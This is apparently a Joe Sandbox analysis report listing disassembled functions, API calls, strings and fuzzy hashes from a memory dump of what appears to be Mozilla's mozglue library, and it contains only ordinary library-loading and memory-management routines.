Opcode Fuzzy Hash: 218a5934acc1001f91821cdff2df68326001c86a43cc5caf6c03d176b49b5a37
Instruction Fuzzy Hash: 22E092B4745709ABDF007FA6C80CB167EB9E79A65DF41C125ED05D5681E7B88000CB14

Function 6C22C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C22C1DE,?,00000000,?,00000000,?,6C1D779F), ref: 6C22C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust,?,6C22C1DE,?,00000000,?,00000000,?,6C1D779F), ref: 6C22C217
FreeLibrary.KERNEL32(?,6C22C1DE,?,00000000,?,00000000,?,6C1D779F), ref: 6C22C22C

Strings

wintrust.dll, xrefs: 6C22C1F3
WinVerifyTrust, xrefs: 6C22C211

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: 4c866a80ce6374fd3d48dca292da8c3a63747c6827bcde33d9232a7f03e7eb5d
Instruction ID: 7b8cab4c703df97aa37bbd10157b3204e22e50e26cac54d7475a52178e51b1e9
Opcode Fuzzy Hash: 4c866a80ce6374fd3d48dca292da8c3a63747c6827bcde33d9232a7f03e7eb5d
Instruction Fuzzy Hash: 6DE0B6B6305B499BEF007F66D90CB077EF8AF8660DF509615ED04CA682EBB4C000CB50

Function 6C22C240 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C1D77F6), ref: 6C22C248
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext,?,6C1D77F6), ref: 6C22C267
FreeLibrary.KERNEL32(?,6C1D77F6), ref: 6C22C27C

Strings

wintrust.dll, xrefs: 6C22C243
CryptCATAdminAcquireContext, xrefs: 6C22C261

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext$wintrust.dll
API String ID: 145871493-3357690181
Opcode ID: a3f26076d58c7750ffb76a5340aa5ac000ab9fb82b192dbd8b72e6a122e700c6
Instruction ID: d6460bd0b4dc4ed3d2722310a51a8e684edefa3b2855454b8f2c81e9d0ee3e82
Opcode Fuzzy Hash: a3f26076d58c7750ffb76a5340aa5ac000ab9fb82b192dbd8b72e6a122e700c6
Instruction Fuzzy Hash: 8FE092B4305A099BEF047F66C80CB067AF8A78B74DF90D255ED04C6681EBB48444DB50

Function 6C22BAB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernelbase.dll,?,6C1D05BC), ref: 6C22BAB8
GetProcAddress.KERNEL32(00000000,VirtualAlloc2,?,6C1D05BC), ref: 6C22BAD7
FreeLibrary.KERNEL32(?,6C1D05BC), ref: 6C22BAEC

Strings

kernelbase.dll, xrefs: 6C22BAB3
VirtualAlloc2, xrefs: 6C22BAD1

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: VirtualAlloc2$kernelbase.dll
API String ID: 145871493-1188699709
Opcode ID: 3e244461c55cce5399d48e187879ae8981303f28741bf1ea4c596584ad87487f
Instruction ID: fc362b9aada3cc1753fbf7455a4c837baf236168e7c9f6e94b7410c37864384c
Opcode Fuzzy Hash: 3e244461c55cce5399d48e187879ae8981303f28741bf1ea4c596584ad87487f
Instruction Fuzzy Hash: 7FE0B67030578A9BDF00BF66C91CB0B7BF9A78620DF54D41AED0595681EBB98054CB10

Function 6C22C290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C1D77C5), ref: 6C22C298
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle,?,6C1D77C5), ref: 6C22C2B7
FreeLibrary.KERNEL32(?,6C1D77C5), ref: 6C22C2CC

Strings

wintrust.dll, xrefs: 6C22C293
CryptCATAdminCalcHashFromFileHandle, xrefs: 6C22C2B1

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle$wintrust.dll
API String ID: 145871493-1423897460
Opcode ID: c336e906ad6e35df823f80f8690d708315b675edc8904421c8748a46dc6bd58c
Instruction ID: a1feb30e181e495653da3d4573b20a5799e6a1815c7d266b08a251cf3d2e91bd
Opcode Fuzzy Hash: c336e906ad6e35df823f80f8690d708315b675edc8904421c8748a46dc6bd58c
Instruction Fuzzy Hash: 9CE09274B45B0A9FEF007F6AC90CB077AF8EB8660DF948116AD0489A91EBB5C010CA50

Function 6C22BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C22BE49), ref: 6C22BEC4
RtlCaptureStackBackTrace.NTDLL(00000002,00000200,?,00000000,?,6C22BE49), ref: 6C22BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C22BE49), ref: 6C22BF38
RtlReAllocateHeap.NTDLL(6C22BE49,00000000,?,00000000,?,6C22BE49), ref: 6C22BF83
RtlFreeHeap.NTDLL(6C22BE49,00000000,?,?,6C22BE49), ref: 6C22BFA6

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: d25fba605b6d85a37b49ab69bc14631a72e81ebc8bda2849a68341f69fdefc15
Instruction ID: 7e8d6eec95ed095f8116159adc9f4a4635886e689d42327db649681aa7818425
Opcode Fuzzy Hash: d25fba605b6d85a37b49ab69bc14631a72e81ebc8bda2849a68341f69fdefc15
Instruction Fuzzy Hash: 76518771A0021A8FE724CF69CD80B5AB7B6FF88314F294639E95697B54D734F9068B80

Function 6C218E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C20B58D,?,?,?,?,?,?,?,6C23D734,?,?,?,6C23D734), ref: 6C218E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C20B58D,?,?,?,?,?,?,?,6C23D734,?,?,?,6C23D734), ref: 6C218EBF
free.MOZGLUE(?,?,?,?,6C20B58D,?,?,?,?,?,?,?,6C23D734,?,?,?), ref: 6C218F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C20B58D,?,?,?,?,?,?,?,6C23D734,?,?,?,6C23D734), ref: 6C218F46
free.MOZGLUE(?,?,?,?,6C20B58D,?,?,?,?,?,?,?,6C23D734,?,?,?), ref: 6C218F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C20B58D,?,?,?,?,?,?,?,6C23D734,?,?,?), ref: 6C218F8F

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: f7e7361408729c93fa94085ce91d4c5bff24e57e580ece42c5d86ae3757dbe17
Instruction ID: 5c83c44746d275862fd6a5e74bf4df84d87769d302fcee858cf96e9148a7d8d4
Opcode Fuzzy Hash: f7e7361408729c93fa94085ce91d4c5bff24e57e580ece42c5d86ae3757dbe17
Instruction Fuzzy Hash: F95193B1A0561A8FDB11CF54D88076E73F6FB45308F66052AEA16EBB40E731F904CB91

Function 6C1D60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C1D5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1D60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C1D5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1D6180
free.MOZGLUE(?,?,?,?,6C1D5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C1D6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C1D5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1D6229
free.MOZGLUE(?,?,?,?,6C1D5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C1D625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C1D5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C1D6271

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 60df74898af9ca35debd0b9d26064a8bbf514204311886879bd11d321d7b4b01
Instruction ID: 8eb03c8b8fe7506b6a155c00567b84024a2daa39407b9b8fe73e02205877b63c
Opcode Fuzzy Hash: 60df74898af9ca35debd0b9d26064a8bbf514204311886879bd11d321d7b4b01
Instruction Fuzzy Hash: 8E51CEB1A0020A8FEB10CF68D8907AEB7B5EF56308F120939D617D7741E735B918CB61

Function 6C2127E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C212620,?,?,?,6C2060AA,6C205FCB,6C2079A3), ref: 6C21284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C212620,?,?,?,6C2060AA,6C205FCB,6C2079A3), ref: 6C21289A
free.MOZGLUE(?,?,?,6C212620,?,?,?,6C2060AA,6C205FCB,6C2079A3), ref: 6C2128F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C212620,?,?,?,6C2060AA,6C205FCB,6C2079A3), ref: 6C212910
free.MOZGLUE(00000001,?,?,6C212620,?,?,?,6C2060AA,6C205FCB,6C2079A3), ref: 6C21293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C212620,?,?,?,6C2060AA,6C205FCB,6C2079A3), ref: 6C21294E

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8fd6bb1ee06c67eb907c0c3b08b603a5d9fa163afa941b104abaab16c8623a88
Instruction ID: 14abf46904c20df3b0f867e31152db3ebb9b9f2bf465a9fba060fce46d897f8a
Opcode Fuzzy Hash: 8fd6bb1ee06c67eb907c0c3b08b603a5d9fa163afa941b104abaab16c8623a88
Instruction Fuzzy Hash: 1541B6F1A0420A8FEB14CF5CD88876A73F5EB46708F254539EA56EBB40E731E504CBA1

Function 6C1CCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C24E784), ref: 6C1CCFF6
LeaveCriticalSection.KERNEL32(6C24E784), ref: 6C1CD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C1CD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C1CD139

Strings

MOZ_CRASH(), xrefs: 6C1CD187

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: c085ad8cd9436842b1ca6fb6881df3e04f95729e002c38861cb86bfcb0a6847e
Instruction ID: 54401cef17dc4925ea501664f2508c03bb56d3f44fbde3928b4757afcd27f79e
Opcode Fuzzy Hash: c085ad8cd9436842b1ca6fb6881df3e04f95729e002c38861cb86bfcb0a6847e
Instruction Fuzzy Hash: 3B41BE71B806164FEB04EE7CCC9936AB6A0EB5A728F154139FD18E77C4D6A598018BC1

Function 6C1C4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C1C4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C1C4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1C4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C1C4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C1C4F1E

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: fb5d98d02b6b8593fd89977fb3dcaef50560d153d04d82bd3520997a46343146
Instruction ID: efb2e26666a917495a7d24cd105e52af2a261ee2c6cba37c0605be7f5d7e39a7
Opcode Fuzzy Hash: fb5d98d02b6b8593fd89977fb3dcaef50560d153d04d82bd3520997a46343146
Instruction Fuzzy Hash: F041E2716087059FC701CF28C480A6BBBF4BFAA344F118A1DF86587741DB38E914CB92

Function 6C20D210 Relevance: 7.6, APIs: 5, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6C1D5820,?), ref: 6C20D21F
moz_xmalloc.MOZGLUE(00000001,?,?,6C1D5820,?), ref: 6C20D22E

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,6C1D5820,?), ref: 6C20D242
free.MOZGLUE(00000000,?,?,?,?,?,?,6C1D5820,?), ref: 6C20D253

Part of subcall function 6C1E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C1E5EDB
Part of subcall function 6C1E5E90: memset.VCRUNTIME140(ew"l,000000E5,?), ref: 6C1E5F27
Part of subcall function 6C1E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C1E5FB2

memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,6C1D5820,?), ref: 6C20D280

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSectionmemset$EnterLeavefreemallocmemcpymoz_xmallocstrlen
String ID:
API String ID: 2029485308-0
Opcode ID: 49788f5ea4cc9238e57f36fa8506281f7b176f1d0258965bb307329726ed204b
Instruction ID: 1efd81b689b53ddfe95bf3667fc601d310ff2970a7cd117f7663e3c947d6bf84
Opcode Fuzzy Hash: 49788f5ea4cc9238e57f36fa8506281f7b176f1d0258965bb307329726ed204b
Instruction Fuzzy Hash: 9731EFB5B012199FC700DF58C440AAEBB75FF89748F244566ED546B705D372E806C7D1

Function 6C1DC150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C1DC1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C1DC1DC

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: 3f9a9ad086be3653d0cd6fcbc5c8678778e006affe0f1d24fbf6365b02af7e86
Instruction ID: 7a27aeb831ee6ff894669c9f6d421168dda9ab7c9925f54d19467c41f5aaafef
Opcode Fuzzy Hash: 3f9a9ad086be3653d0cd6fcbc5c8678778e006affe0f1d24fbf6365b02af7e86
Instruction Fuzzy Hash: CD41BFB1D087548FD710DF64C48079ABBE4AF9A308F06895EE8999B712E730E548CB92

Function 6C22A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C24F770), ref: 6C22A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C22A87B

Part of subcall function 6C22A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C22A88F,00000000), ref: 6C22A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C22A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C22A90C
LeaveCriticalSection.KERNEL32(6C24F770), ref: 6C22A97E

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 1d29a45cee4fb51a9a98c79d60929f0ae0c31d1c367d6af0e0d1f323051a5fcb
Instruction ID: 799bcbecd2c091c2f9a3fd7acf5e013fbf9cbd7b5ea8c1ac1fa027259bb22495
Opcode Fuzzy Hash: 1d29a45cee4fb51a9a98c79d60929f0ae0c31d1c367d6af0e0d1f323051a5fcb
Instruction Fuzzy Hash: 43419FB0E00608CBDB04DFA8D845ADEB7B1FF44324F108629EC2AAB791D775E945CB91

Function 6C1D1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C1D152B,?,?,?,?,6C1D1248,?), ref: 6C1D159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C1D152B,?,?,?,?,6C1D1248,?), ref: 6C1D15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C1D152B,?,?,?,?,6C1D1248,?), ref: 6C1D15E7
free.MOZGLUE(?,?,?,?,?,?,6C1D152B,?,?,?,?,6C1D1248,?), ref: 6C1D1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C1D152B,?,?,?,?,6C1D1248,?), ref: 6C1D1637

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: d01743ef0d84fe0a2370bcc2d26cb10abedbaecef4a74bc8ae6687a6f90bade1
Instruction ID: 1d98ba3ab3b00187570158c2e4b49b7bd59a5a9ebab84d1a513cdbe799642ad8
Opcode Fuzzy Hash: d01743ef0d84fe0a2370bcc2d26cb10abedbaecef4a74bc8ae6687a6f90bade1
Instruction Fuzzy Hash: 9331E572A001148BCB188E78D85046F77A9BB8637473A0B6DE827DBBD4FB74F9058791

Function 6C1C4310 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000010,?,6C1C42D2), ref: 6C1C436A

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

memcpy.VCRUNTIME140(00000023,?,?,?,?,6C1C42D2), ref: 6C1C4387
moz_xmalloc.MOZGLUE(80000023,?,6C1C42D2), ref: 6C1C43B7
free.MOZGLUE(00000000,?,6C1C42D2), ref: 6C1C43EF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C1C42D2), ref: 6C1C4406

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemallocmemcpy
String ID:
API String ID: 2563754823-0
Opcode ID: c6465b42f3c292968354ee7e9ff52a8a3b2191a4d10faa2536517af3401c5931
Instruction ID: c59d368d0d70ae7cebe30b4e66d26d73af6776ef0c6761fc98432b019f8ea2d6
Opcode Fuzzy Hash: c6465b42f3c292968354ee7e9ff52a8a3b2191a4d10faa2536517af3401c5931
Instruction Fuzzy Hash: FB313572B081248FD714DE688C9067EB7A5EBA0364B154F29F825CBB80E734E9008793

Function 6C22AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C23E330,?,6C1EC059), ref: 6C22AD9D

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C23E330,?,6C1EC059), ref: 6C22ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C23E330,?,6C1EC059), ref: 6C22AE01
GetLastError.KERNEL32(?,00000000,?,?,6C23E330,?,6C1EC059), ref: 6C22AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C23E330,?,6C1EC059), ref: 6C22AE3D

